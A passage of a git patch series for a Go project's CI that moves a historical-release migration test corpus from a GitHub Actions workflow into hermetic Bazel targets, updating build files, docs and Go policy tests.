strings.ToUpper(key) if upper == "BASH_ENV" || upper == "BASHOPTS" || upper == "ENV" || upper == "SHELLOPTS" || - upper == "BEADS_HOOK_TIMEOUT" || upper == "HOOK_TEST_BD_EXIT" { + upper == "BEADS_HOOK_TIMEOUT" || upper == "HOOK_TEST_BD_EXIT" || upper == "HOOK_TEST_SLEEP" { continue } env = append(env, entry) From 7e0adfd35385158fd1f15c7d1a8fe0e610e042d6 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 02:16:11 +0000 Subject: [PATCH 028/213] ci(bazel): run the historical-upgrade corpus under Bazel; retire migration-test.yml (#7330) * chore(migration-test): extend the release catalog through v1.3.1 The catalog stopped at v1.1.2 (the v1.2 upgrade census). The migration corpus already upgrades from v1.2.2, and the Bazel targets that replace migration-test.yml and cross-version-smoke.yml take their pinned release binaries from the catalog (@bd_releases), so it has to cover the releases since. Regenerated with `catalog generate` after raising maximumVersion to v1.3.1: five new stable versions (v1.2.0, v1.2.1, v1.2.2, v1.3.0, v1.3.1; three with a linux/amd64 asset) and five new proxy prereleases; no existing entry, drift record or repository-only exclusion changed. The count constants and the identity digest are updated to match, and the README now says how to add a release. Refs: ga-96smfk.19 Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): run the historical-upgrade corpus under Bazel; retire migration-test.yml migration-test.yml ran scripts/migration-test/run.sh --version for 14 reviewed releases in 3 shards on GitHub runners: it downloaded each release archive, built v0.9.1 from source with Go 1.25 through the module proxy, installed libicu74 and the dolt 2.1.8 runtime, all over the network. //tests/migration now has one target per corpus release (historical_upgrade__test) plus legacy_bridge_test, all hermetic: - Published releases come from @bd_releases (the release catalog's sha256-verified assets) through a per-target directory (HISTORICAL_RELEASE_DIR); lib/binary.sh uses it instead of downloading and still checks each binary's self-reported version. - v0.9.1 is //tests/migration:bd_source_tag, the same `go mod download` + `go build -trimpath` with CGO and Go 1.25.0, run offline as a build action: the module files come from tests/migration/source_tag_modules.json through a file:// GOPROXY tree (tools/bazel/go_module_proxy.bzl), the release's own zip is the catalog's source_zip, and go checks every dependency against the release's go.sum (SOURCE_TAG_SQLITE_BIN). - The external Dolt runtime is @dolt_test_runtime_linux_amd64 (dolt.bzl's dolt_release gains a version attribute; 2.1.8 is pinned to versions.sh's digest), passed as DOLT_BIN to the server-Dolt and wisp-plane releases. - The workers already provide jq, python3, sqlite3 and libicu74. The targets are untagged, so bazel-test runs them remotely on every PR, merge group and push; result caching replaces the path filter. Every release also passed inside a loopback-only network namespace. scripts/migration_corpus_bazel_test.go keeps the BUILD lists equal to versions.sh's corpus, the catalog digests equal to STRICT_RELEASE_SHA256, the source-tag lock equal to the catalog's source_zip, and the Dolt runtime pin equal to versions.sh's. migration-test.yml and the policy tests that pinned its shards, caches, apt step and runner are removed. Refs: ga-96smfk.19 Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): run the historical-upgrade targets in the PR-core lane only The integration lane runs every untagged target too, and its check_testcases.py requires Go testcases, which a shell test's test.xml does not list. A new pr-core-only tag keeps //tests/migration out of --config=integration (bazelIntegrationExcludedTags adds it), so the corpus runs once, in bazel-test, against the release-shaped bd_for_tests (no integration tag). build_source_tag.sh carries the build-tags opt-out: it builds a historical release with that release's own go.mod, which predates gms_pure_go. Refs: ga-96smfk.19 Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 4 +- .github/workflows/main.yml | 4 +- .github/workflows/migration-test.yml | 267 ------------- BUILD.bazel | 1 + MODULE.bazel | 39 ++ cmd/bd/BUILD.bazel | 1 + engdocs/CI_TEST_SURFACE_AUDIT.md | 2 +- engdocs/ICU-POLICY.md | 2 +- scripts/BUILD.bazel | 15 + scripts/bazel_policy_test.go | 14 +- scripts/ci_f7c_advisory_test.go | 400 +------------------- scripts/ci_workflow_apt_get_timeout_test.go | 11 - scripts/ci_workflow_test.go | 29 +- scripts/migration-test/catalog/README.md | 18 +- scripts/migration-test/catalog/main.go | 13 +- scripts/migration-test/catalog/main_test.go | 6 +- scripts/migration-test/lib/binary.sh | 26 ++ scripts/migration-test/lib/versions.sh | 4 +- scripts/migration-test/release-catalog.json | 99 ++++- scripts/migration_corpus_bazel_test.go | 187 +++++++++ tests/migration/BUILD.bazel | 131 +++++++ tests/migration/build_source_tag.sh | 38 ++ tests/migration/defs.bzl | 52 +++ tests/migration/gen_source_tag_lock.py | 87 +++++ tests/migration/historical_upgrade_test.sh | 29 ++ tests/migration/legacy_bridge_test.sh | 7 + tests/migration/source_tag_modules.json | 166 ++++++++ tools/bazel/dolt.bzl | 20 +- tools/bazel/go_module_proxy.bzl | 55 +++ 29 files changed, 1012 insertions(+), 715 deletions(-) delete mode 100644 .github/workflows/migration-test.yml create mode 100644 scripts/migration_corpus_bazel_test.go create mode 100644 tests/migration/BUILD.bazel create mode 100755 tests/migration/build_source_tag.sh create mode 100644 tests/migration/defs.bzl create mode 100644 tests/migration/gen_source_tag_lock.py create mode 100755 tests/migration/historical_upgrade_test.sh create mode 100755 tests/migration/legacy_bridge_test.sh create mode 100644 tests/migration/source_tag_modules.json create mode 100644 tools/bazel/go_module_proxy.bzl diff --git a/.bazelrc b/.bazelrc index e298cc59b..9855a5177 100644 --- a/.bazelrc +++ b/.bazelrc @@ -260,7 +260,9 @@ test:integration --test_env=BEADS_TEST_SKIP=dolt # keeps every container- or server-backed test skipped, which is what the # untagged base targets already do. scripts/bazel_policy_test.go derives the # required exclusions from the PR-core list, so a new lane tag lands here too. -test:integration --test_tag_filters=-requires-docker,-dolt-server,-dolt-server-proxied,-dolt-server-integration,-dolt-server-cmd,-embedded,-manual +# pr-core-only targets (the historical-release suites: shell tests against +# the release-shaped bd, which the PR-core lane already runs) stay out too. +test:integration --test_tag_filters=-requires-docker,-dolt-server,-dolt-server-proxied,-dolt-server-integration,-dolt-server-cmd,-embedded,-manual,-pr-core-only test:integration --build_tests_only test:integration --keep_going test:integration --test_summary=terse diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 2ad147015..cdb8c2751 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -427,7 +427,7 @@ jobs: # compile error is not transient. See pr.yml's copy for the full rationale. # # 3 attempts x 120s + 2 backoffs x 10s = 380s worst case. 8m leaves ~100s - # of headroom, matching the bounded apt-get steps in migration-test.yml. + # of headroom, matching the bounded apt-get step in release.yml. - name: Download modules timeout-minutes: 8 run: | @@ -1082,7 +1082,7 @@ jobs: # F7c: Blacksmith cannot see GitHub-hosted cache entries, so the advisory # workflows that moved onto a same-repo-PR Blacksmith runner (Regression's - # PR run, Migration Test Harness, Cross-Version Smoke, Proxied Local) need a + # PR run, Cross-Version Smoke, Proxied Local) need a # Blacksmith-side writer for their Go build # cache. This job is push-to-main only (always trusted), so it is the ONLY # writer: it always restores whatever is available, unconditionally re-runs diff --git a/.github/workflows/migration-test.yml b/.github/workflows/migration-test.yml deleted file mode 100644 index f8dd091f1..000000000 --- a/.github/workflows/migration-test.yml +++ /dev/null @@ -1,267 +0,0 @@ -name: Migration Test Harness - -on: - pull_request: - # "Upgrade-relevant code" allowlist (spec-f7.md §2.4): kept identical - # (modulo each workflow's own file/script entries) across conformance.yml, - # migration-test.yml and cross-version-smoke.yml, and pinned by - # TestAdvisoryWorkflowPathFilters. - paths: - - '**.go' - - '!**_test.go' - - 'go.mod' - - 'go.sum' - - 'Makefile' - - '.buildflags' - # Embedded into the binary (go:embed in internal/storage/schema), so a - # migration-only change is an upgrade-relevant code change. - - 'internal/storage/schema/migrations/**' - - '.github/workflows/migration-test.yml' - - 'scripts/migration-test/**' - - 'scripts/migrate-legacy-to-current.sh' - push: - tags: ['v*'] - workflow_dispatch: - -permissions: - contents: read - -env: - BD_DISABLE_METRICS: "1" - BD_DISABLE_EVENT_FLUSH: "1" - DOLT_TEST_RUNTIME_VERSION: v2.1.8 - DOLT_TEST_RUNTIME_SHA256: f66318f08ed66e409fc39363ae0fff8ce6fbf6dba9f5bac632b91527b9632a74 - -jobs: - historical-upgrades: - name: Historical ${{ matrix.shard }} shard → candidate - # v0.55.4 is dynamically linked against the ICU version shipped by Ubuntu - # 24.04's libicu74 package. blacksmith-*-ubuntu-2404 IS 24.04, so the pin - # holds there. The non-Blacksmith fallback below is pinned to the literal - # `ubuntu-24.04` label (NOT `ubuntu-latest`) for the same reason: - # actions/runner-images#14748 schedules `ubuntu-latest` to move from 24.04 - # to 26.04 starting 2026-10-19, and 26.04 drops libicu74 entirely, which - # would break the "Install test dependencies" step below and the v0.55.4 - # fixture's ICU ABI even if it didn't. Do not change this fallback to - # `ubuntu-latest`; see sameRepoBlacksmith4vcpuNoble in ci_workflow_test.go. - # F7c: 14 matrix legs (one per historical version) folded into 3 shards. - # Each shard builds the candidate once, installs its own dependencies - # once, then loops over `run.sh --version` for every version it owns, - # collecting failures so one bad version does not hide the rest (see - # "Verify explicit historical upgrades" below). - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-24.04' }} - timeout-minutes: 20 - strategy: - fail-fast: false - matrix: - include: - # src: the one version built from source against Go 1.25, instead - # of installed as a pinned binary. - - shard: src - versions: '["v0.9.1"]' - cache-hash: 453aa2e25bbad328 - # pre-dolt: historical versions that predate the separate Dolt - # runtime oracle (no "Install Dolt test runtime" step needed). - - shard: pre-dolt - versions: '["v0.17.0","v0.49.6","v0.50.3","v0.63.3","v1.0.0"]' - cache-hash: 03cccab45291ead3 - # dolt-runtime: versions that need the pinned Dolt runtime binary - # as a read-only oracle (the old per-version `contains(...)` list). - - shard: dolt-runtime - versions: '["v0.55.4","v0.56.1","v0.57.0","v0.62.0","v1.0.1","v1.1.0","v1.1.2","v1.2.2"]' - cache-hash: a8579bd64e9a0926 - # The v1.1.2 tree re-tagged by the recovery release, so it adds no - # new storage regime — but it is the tag field upgrades actually - # start from, and it was never in this corpus. - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: ${{ runner.environment == 'github-hosted' }} - - # Blacksmith runners cannot see GitHub-hosted setup-go cache entries, so - # setup-go's own `cache: true` (used above on ubuntu-24.04/ubuntu-latest) - # is disabled here and this job restores from the Blacksmith-side cache - # main.yml's blacksmith-setup-go-cache job seeds on every push to main. - # Restore-only by design (see B2 in the F7c implementation report): a - # same-repo PR can read this cache but never write to it, so a PR cannot - # poison what main's seeder or other PRs read. - # F7c review fix S5: this job's own key copy must match main.yml's - # seeder key byte-for-byte (TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers), - # which now keys by UTC calendar day instead of github.sha so main - # pushes don't churn a multi-GB cache entry on every commit; this step - # computes that same day value locally so the key expression below - # resolves (steps.* references only resolve within the same job). - - name: Compute cache date - id: cache-date - if: runner.environment == 'self-hosted' - run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" - - - name: Restore Blacksmith setup-go cache - if: runner.environment == 'self-hosted' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/go/pkg/mod - ~/.cache/go-build - key: blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - restore-keys: | - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}- - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Install test dependencies - # Backstop for a hang that escapes the inner `timeout` calls, so it has - # to sit ABOVE what those calls can legitimately consume: 3 update - # attempts x 120s + 2 backoffs x 10s + 180s install = 560s worst case. - # 11m leaves ~100s of headroom and stays under the job's 20m budget, so - # a stuck step fails as a step instead of cancelling the whole job. - timeout-minutes: 11 - run: | - updated="" - for attempt in 1 2 3; do - if sudo timeout 120 apt-get \ - -o Acquire::Retries=3 \ - -o Acquire::http::Timeout=30 \ - -o Acquire::https::Timeout=30 \ - update; then - updated=yes - break - fi - echo "::warning::apt-get update attempt $attempt failed or timed out" - # No backoff after the final attempt - there is nothing left to wait for. - if [ "$attempt" -lt 3 ]; then - sleep 10 - fi - done - # Deliberate best-effort: a stale index still installs these packages - # from the runner image cache far more often than not, and failing the - # job here would turn a transient mirror outage into a red build. The - # warning is what makes the degraded path visible in the job log. - if [ -z "$updated" ]; then - echo "::warning::apt-get update failed after 3 attempts; proceeding with cached index" - fi - sudo timeout 180 apt-get install -y jq libicu74 - - - name: Install Dolt test runtime - # v0.55.4-v0.62.0 host their fixture on this server; v1.0.1-v1.1.2 use - # the same pinned binary as a read-only oracle over the wisp plane, - # which has no `bd dolt sql` equivalent. This is exactly the - # dolt-runtime shard's version list. - if: matrix.shard == 'dolt-runtime' - run: | - archive="$RUNNER_TEMP/dolt-linux-amd64.tar.gz" - runtime="$RUNNER_TEMP/dolt-runtime" - install_root="$GITHUB_WORKSPACE/.tools/dolt" - curl -fsSL --retry 3 --retry-all-errors --retry-delay 2 \ - "https://github.com/dolthub/dolt/releases/download/${DOLT_TEST_RUNTIME_VERSION}/dolt-linux-amd64.tar.gz" \ - -o "$archive" - echo "${DOLT_TEST_RUNTIME_SHA256} $archive" | sha256sum -c - - mkdir -p "$runtime" "$install_root/bin" - tar -xzf "$archive" -C "$runtime" - install -m 0755 "$runtime/dolt-linux-amd64/bin/dolt" "$install_root/bin/dolt" - "$install_root/bin/dolt" version - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - # F7c review fix X1: a bare actions/cache here would auto-save on any - # key miss. On Blacksmith, same-repo PRs are the only ones that ever - # run this job (tag push and workflow_dispatch land on ubuntu-24.04, - # not Blacksmith), so a bare save would make every historical-dolt-* - # entry a same-repo-PR-only write - exactly what B2 forbids elsewhere. - # The checksum verification lib/binary.sh does on every extracted - # archive is not a sufficient mitigation: `tar -P` extraction plus - # `cp -f` following a planted `verified//bd` symlink can still - # write outside ~/.cache/beads-regression (e.g. over the checked-out - # workspace or the candidate binary itself) before the checksum check - # ever runs. Restore-only here, same split as smoke-binaries-*/ - # regression-baseline-* below: only push/dispatch (always GitHub-hosted - # for this job) may save. - - name: Restore pinned historical release cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/.cache/beads-regression - key: historical-dolt-${{ matrix.shard }}-${{ matrix.cache-hash }}-${{ runner.os }}-${{ runner.arch }} - - - name: Build candidate - run: make build - - - name: Set up Go 1.25 for v0.9.1 source build - if: matrix.shard == 'src' - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version: '1.25.0' - # No Blacksmith restore step for this narrow one-off (src shard - # only, a single version): accepting a cold build here rather than - # adding a second seeded cache keyspace for one matrix leg. - cache: ${{ runner.environment == 'github-hosted' }} - - # Each version runs as its own `run.sh` subprocess: the underlying - # historical-dolt-upgrade-test.sh uses `set -euo pipefail` and aborts at - # its first failure within one process, so a single multi-version - # invocation could silently hide every version queued after the first - # failure. Looping subprocess calls here, guarded by `if !`, is what - # lets "all versions run, and the job fails if any failed" (spec-f7.md - # §2.3.7) hold for shards with more than one version. - - name: Verify explicit historical upgrades - env: - CANDIDATE_BIN: ./bd - GIT_CONFIG_NOSYSTEM: "1" - DOLT_BIN: ${{ github.workspace }}/.tools/dolt/bin/dolt - SHARD_VERSIONS: ${{ matrix.versions }} - SHARD: ${{ matrix.shard }} - run: | - set -euo pipefail - mapfile -t versions < <(jq -r '.[]' <<<"$SHARD_VERSIONS") - # Fail closed: `jq -r '.[]'` over an empty array, a non-array - # scalar, or unparsable JSON all produce zero lines rather than a - # non-zero exit under process substitution, so mapfile would - # otherwise silently succeed with an empty $versions and this step - # would report green having verified nothing. - if [ "${#versions[@]}" -eq 0 ]; then - echo "::error::shard $SHARD resolved to zero versions from SHARD_VERSIONS=$SHARD_VERSIONS; failing closed instead of reporting a false pass" - exit 1 - fi - failed=0 - failed_versions=() - for v in "${versions[@]}"; do - echo "::group::Historical upgrade: $v" - # 8m per version plus a 30s SIGKILL grace: observed real runs take - # well under a minute, so this only trips on a genuine hang, and - # bounds the damage to one version's budget instead of a stuck - # subprocess silently consuming the rest of the job's 20m timeout - # and hiding every version queued after it. - if ! timeout --kill-after=30s 8m ./scripts/migration-test/run.sh --version "$v"; then - echo "::error::historical upgrade failed for $v" - failed=1 - failed_versions+=("$v") - fi - echo "::endgroup::" - done - if [ "${#failed_versions[@]}" -gt 0 ]; then - { - echo "### Failed historical upgrades (shard $SHARD)" - printf -- '- %s\n' "${failed_versions[@]}" - } >> "$GITHUB_STEP_SUMMARY" - fi - exit "$failed" - - - name: Save pinned historical release cache - # Allow-list push/workflow_dispatch rather than deny-list - # pull_request: a deny-list also admits a hypothetical future - # merge_group event, which this job's runs-on expression already - # resolves to Blacksmith for - exactly the same same-repo-writer - # risk X1 closed for pull_request. Pinned by - # TestBlacksmithReachableAdvisoryJobsNeverSaveACache (checks both the - # pull_request and merge_group trust contexts independently). - if: github.event_name == 'push' || github.event_name == 'workflow_dispatch' - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/.cache/beads-regression - key: historical-dolt-${{ matrix.shard }}-${{ matrix.cache-hash }}-${{ runner.os }}-${{ runner.arch }} diff --git a/BUILD.bazel b/BUILD.bazel index c03faf804..9916ecbfd 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -374,6 +374,7 @@ filegroup( "//test/conformance:repo_files", "//test/docsync:repo_files", "//test/testmainconvention:repo_files", + "//tests/migration:repo_files", "//tests/regression:repo_files", "//third_party/cc_toolchain:repo_files", "//third_party/patches:repo_files", diff --git a/MODULE.bazel b/MODULE.bazel index d0e1a2d3f..f1e05a64c 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -220,6 +220,15 @@ dolt_release( platform = "darwin-arm64", ) +# The migration corpus's external Dolt runtime (scripts/migration-test/lib/ +# versions.sh DOLT_TEST_RUNTIME_VERSION): an older release than DOLT_VERSION, +# deliberately, as the historical server-Dolt fixtures' host. +dolt_release( + name = "dolt_test_runtime_linux_amd64", + platform = "linux-amd64", + version = "2.1.8", +) + # The tracked release formula, for //scripts:scripts_test and the # whole-checkout guard //scripts/repochecks:go_install_guidance_test. .beads/ # also holds live bd data and is in .bazelignore, so no main-repo target can @@ -246,3 +255,33 @@ new_local_repository( bd_releases = use_extension("//tools/bazel:bd_releases.bzl", "bd_releases") bd_releases.catalog(path = "//scripts:migration-test/release-catalog.json") use_repo(bd_releases, "bd_releases") + +# The source-tag SQLite release (v0.9.1) has no release asset: the migration +# corpus builds it from its module source with the Go release it was +# qualified on, offline (//tests/migration:bd_source_tag). The proxy files +# are pinned in tests/migration/source_tag_modules.json, the toolchain here. +go_module_proxy = use_repo_rule("//tools/bazel:go_module_proxy.bzl", "go_module_proxy") + +go_module_proxy( + name = "bd_source_tag_goproxy", + lock = "//tests/migration:source_tag_modules.json", +) + +http_archive = use_repo_rule("@bazel_tools//tools/build_defs/repo:http.bzl", "http_archive") + +http_archive( + name = "go_1_25_0_linux_amd64", + build_file_content = """exports_files( + ["go/bin/go"], + visibility = ["//visibility:public"], +) + +filegroup( + name = "sdk", + srcs = glob(["go/**"]), + visibility = ["//visibility:public"], +) +""", + sha256 = "2852af0cb20a13139b3448992e69b868e50ed0f8a1e5940ee1de9e19a123b613", + urls = ["https://go.dev/dl/go1.25.0.linux-amd64.tar.gz"], +) diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index c7f630716..a6bac3a6d 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -495,6 +495,7 @@ go_binary( "//internal/beads:__pkg__", "//internal/storage/uow:__pkg__", "//test/conformance:__pkg__", + "//tests/migration:__pkg__", "//tests/regression:__pkg__", ], ) diff --git a/engdocs/CI_TEST_SURFACE_AUDIT.md b/engdocs/CI_TEST_SURFACE_AUDIT.md index 5936cf71e..18a805381 100644 --- a/engdocs/CI_TEST_SURFACE_AUDIT.md +++ b/engdocs/CI_TEST_SURFACE_AUDIT.md @@ -201,7 +201,7 @@ Key jobs preserved by display name: |---|---|---| | `bazel.yml` `bazel-cmd-dolt` (formerly `regression.yml`) | PR, merge group, push to `main` | `//tests/regression:regression_test` (8 shards, cached until its inputs change) against the catalog-pinned v0.49.6 baseline; local entrypoint stays `make test-regression`. | | `cross-version-smoke.yml` | Tags, PRs, manual | PRs test latest 5 releases, tags test latest 30, via `scripts/upgrade-smoke-test.sh`. | -| `migration-test.yml` | Tags, PRs touching upgrade-relevant code (advisory, path-filtered), manual | Builds candidate once per shard (3 shards, folded from 14 per-version legs, F7c) and loops `scripts/migration-test/run.sh --version` over each shard's versions; not a required PR/main gate. | +| `bazel.yml` `bazel-test` (formerly `migration-test.yml`) | PR, merge group, push to `main` | `//tests/migration:historical_upgrade__test`, one target per reviewed release (14, v0.9.1 source-built offline) plus `legacy_bridge_test`, against catalog-pinned release binaries; cached until their inputs change. Local entrypoint stays `scripts/migration-test/run.sh`. | | `nightly.yml` | Daily schedule, manual | `go test -v -race -tags=integration,gms_pure_go -coverprofile=coverage.out -timeout=30m ./...` with `BEADS_TEST_SKIP=dolt`; checks coverage >= 30%. | | `nix-build.yml` | Push to `main` paths for Nix or Go module files, manual | `nix build .#default --print-build-logs`; no longer runs on `pull_request` (F7c, spec-f7.md §2.4) since PR Risk's required `test-nix` job (`nix run .#default` plus `nix flake check -L`) is a superset. | | `deploy-docs.yml` | Push to `main` paths `website/**` or `scripts/generate-llms-full.sh`, manual | `npm ci`, generate `llms-full.txt`, `npm run build`, internal link check, non-blocking external link check, deploy Pages. | diff --git a/engdocs/ICU-POLICY.md b/engdocs/ICU-POLICY.md index a8ef447f4..5939860d6 100644 --- a/engdocs/ICU-POLICY.md +++ b/engdocs/ICU-POLICY.md @@ -55,7 +55,7 @@ Every build path that produces a binary for users must include `-tags gms_pure_g | PR CI | `.github/workflows/pr.yml`, `.github/workflows/pr-risk.yml` | | Main CI test matrix | `.github/workflows/main.yml` (Linux, macOS, Windows) | | macOS release | `.github/workflows/release.yml` | -| Migration tests | `.github/workflows/migration-test.yml` | +| Migration tests | `//tests/migration/...` (Bazel, `bazel.yml` `bazel-test`) | | Nightly tests | `.github/workflows/nightly.yml` | | Cross-version smoke | `.github/workflows/cross-version-smoke.yml` | | Regression tests | `//tests/regression:regression_test` (Bazel, `bazel.yml` `bazel-cmd-dolt`) | diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 4c619b4e1..b4efd8902 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -41,6 +41,7 @@ go_test( "host_tools_test.go", "install_dolt_test.go", "managed_local_lane_test.go", + "migration_corpus_bazel_test.go", "pr_lanes_bazel_coverage_test.go", "pr_preflight_test.go", "pr_risk_bazel_coverage_test.go", @@ -110,6 +111,20 @@ exports_files( visibility = ["//scripts/migration-test/catalog:__pkg__"], ) +# The historical-upgrade harness (scripts/migration-test) and the public +# SQLite bridge it drives, for //tests/migration's per-release targets. +filegroup( + name = "migration_harness", + srcs = [ + "migrate-legacy-to-current.sh", + "migration-test/historical-dolt-upgrade-test.sh", + "migration-test/legacy-bridge-test.sh", + "migration-test/lib/binary.sh", + "migration-test/lib/versions.sh", + ], + visibility = ["//tests/migration:__pkg__"], +) + exports_files( [ "ci/fmt-check.sh", diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index adb795b6d..43a1c815a 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -846,6 +846,12 @@ var allowedBazelTestTags = map[string]string{ // zero tests, which check_testcases.py rejects and equivalence.py can // only note. gazelle keeps the hand-written tags attribute. "integration-only": "holds tests only under the integration build tag; excluded from --config=prcore/ci, run by --config=integration", + // For a non-Go sh_test (no Go testcases in its test.xml, which the + // integration lane's check_testcases.py would reject) that runs the + // release-shaped bd_for_tests: the PR-core lane builds bd without the + // integration tag, as releases are, and running it again under the + // integration build would only repeat it against a test-shaped bd. + "pr-core-only": "runs only in --config=prcore/ci; excluded from --config=integration", } // bazelPRCoreExcludedTags are the tags whose targets never run in the PR-core @@ -862,10 +868,14 @@ var bazelPRCoreExcludedTags = []string{"requires-docker", "dolt-server", "dolt-s // other lane's variant stays out of it. var bazelIntegrationRunsTags = map[string]bool{"integration-only": true} +// bazelPRCoreOnlyTags are the tags the PR-core lane runs and the integration +// lane does not. +var bazelPRCoreOnlyTags = []string{"pr-core-only"} + // bazelIntegrationExcludedTags is bazelPRCoreExcludedTags less the tags the -// integration lane runs. +// integration lane runs, plus bazelPRCoreOnlyTags. func bazelIntegrationExcludedTags() []string { - var tags []string + tags := append([]string(nil), bazelPRCoreOnlyTags...) for _, tag := range bazelPRCoreExcludedTags { if !bazelIntegrationRunsTags[tag] { tags = append(tags, tag) diff --git a/scripts/ci_f7c_advisory_test.go b/scripts/ci_f7c_advisory_test.go index 5f193ae29..100d2e776 100644 --- a/scripts/ci_f7c_advisory_test.go +++ b/scripts/ci_f7c_advisory_test.go @@ -1,19 +1,13 @@ package scripts_test import ( - "context" - "crypto/sha256" - "encoding/hex" "encoding/json" "fmt" - "os" "os/exec" - "path/filepath" "regexp" "sort" "strings" "testing" - "time" "gopkg.in/yaml.v3" ) @@ -29,11 +23,11 @@ import ( // advisoryPathFilteredWorkflows are the workflows that share the // "upgrade-relevant code" allowlist verbatim, save for each one's own -// workflow-file and script entries (spec-f7.md §2.4). conformance.yml was -// the third until its tiers moved to Bazel (embeddeddolt_conformance_*, -// //test/conformance:conformance_test). +// workflow-file and script entries (spec-f7.md §2.4). conformance.yml and +// migration-test.yml were the others until their tiers moved to Bazel +// (embeddeddolt_conformance_*, //test/conformance:conformance_test, +// //tests/migration). var advisoryPathFilteredWorkflows = []string{ - "migration-test.yml", "cross-version-smoke.yml", } @@ -57,14 +51,6 @@ var advisoryPathFilterBase = []string{ // advisoryPathFilterOwnEntries is each workflow's own file/script additions, // appended after advisoryPathFilterBase. var advisoryPathFilterOwnEntries = map[string][]string{ - "migration-test.yml": { - ".github/workflows/migration-test.yml", - "scripts/migration-test/**", - // F7c review fix (S3): the migration harness invokes this script - // directly, but it lives at scripts/ root, not under - // scripts/migration-test/, so it was not covered by the filter. - "scripts/migrate-legacy-to-current.sh", - }, "cross-version-smoke.yml": { ".github/workflows/cross-version-smoke.yml", "scripts/upgrade-smoke-test.sh", @@ -130,7 +116,7 @@ func TestAdvisoryWorkflowPathFiltersAreIdentical(t *testing.T) { // TestAdvisoryWorkflowPathFiltersCoverOwnInputs pins that each workflow also // allowlists its own workflow file and the scripts/fixtures it actually -// exercises, so an edit to e.g. scripts/migration-test/** is never silently +// exercises, so an edit to e.g. scripts/upgrade-smoke-test.sh is never silently // skipped by the filter that was added to cut unrelated-PR load. func TestAdvisoryWorkflowPathFiltersCoverOwnInputs(t *testing.T) { for file, want := range advisoryPathFilterOwnEntries { @@ -199,357 +185,6 @@ func TestNixBuildDropsPullRequestTriggerNotPushOrDispatch(t *testing.T) { } } -// --- Migration Test Harness: 14 -> 3 shards, no version dropped ----------- - -// migrationHarnessOriginalVersions is the pre-F7c 14-leg matrix's version -// list, captured verbatim so a shard rebalance can be checked against it -// without re-deriving it from the (now folded) workflow file. -var migrationHarnessOriginalVersions = []string{ - "v0.9.1", "v0.17.0", "v0.49.6", "v0.50.3", "v0.55.4", "v0.56.1", - "v0.57.0", "v0.62.0", "v0.63.3", "v1.0.0", "v1.0.1", "v1.1.0", - "v1.1.2", "v1.2.2", -} - -// migrationHarnessDoltRuntimeVersions is the old per-version -// `contains(fromJSON('[...]'), matrix.version)` list that gated the "Install -// Dolt test runtime" step. It must become exactly the dolt-runtime shard. -var migrationHarnessDoltRuntimeVersions = []string{ - "v0.55.4", "v0.56.1", "v0.57.0", "v0.62.0", "v1.0.1", "v1.1.0", "v1.1.2", "v1.2.2", -} - -func migrationHarnessShards(t *testing.T) map[string][]string { - t.Helper() - workflow := readCIWorkflow(t, "migration-test.yml") - job := workflow.job(t, "historical-upgrades") - shards := map[string][]string{} - for _, leg := range job.Strategy.Matrix.Include { - shardAny, ok := leg.Extra["shard"] - if !ok { - t.Fatalf("migration-test.yml matrix leg %+v has no shard field", leg.Extra) - } - shard, ok := shardAny.(string) - if !ok { - t.Fatalf("migration-test.yml matrix leg shard = %#v, not a string", shardAny) - } - versionsAny, ok := leg.Extra["versions"] - if !ok { - t.Fatalf("migration-test.yml shard %q has no versions field", shard) - } - versionsJSON, ok := versionsAny.(string) - if !ok { - t.Fatalf("migration-test.yml shard %q versions = %#v, not a string", shard, versionsAny) - } - var versions []string - if err := json.Unmarshal([]byte(versionsJSON), &versions); err != nil { - t.Fatalf("migration-test.yml shard %q versions %q does not parse as a JSON string array: %v", shard, versionsJSON, err) - } - if _, dup := shards[shard]; dup { - t.Fatalf("migration-test.yml declares shard %q more than once", shard) - } - shards[shard] = versions - } - return shards -} - -// TestMigrationHarnessShardsCoverAllHistoricalVersions is the equivalence -// check the fold requires: the union of the 3 shards' version lists must be -// exactly the old 14-version set, with no duplicates and nothing dropped. -func TestMigrationHarnessShardsCoverAllHistoricalVersions(t 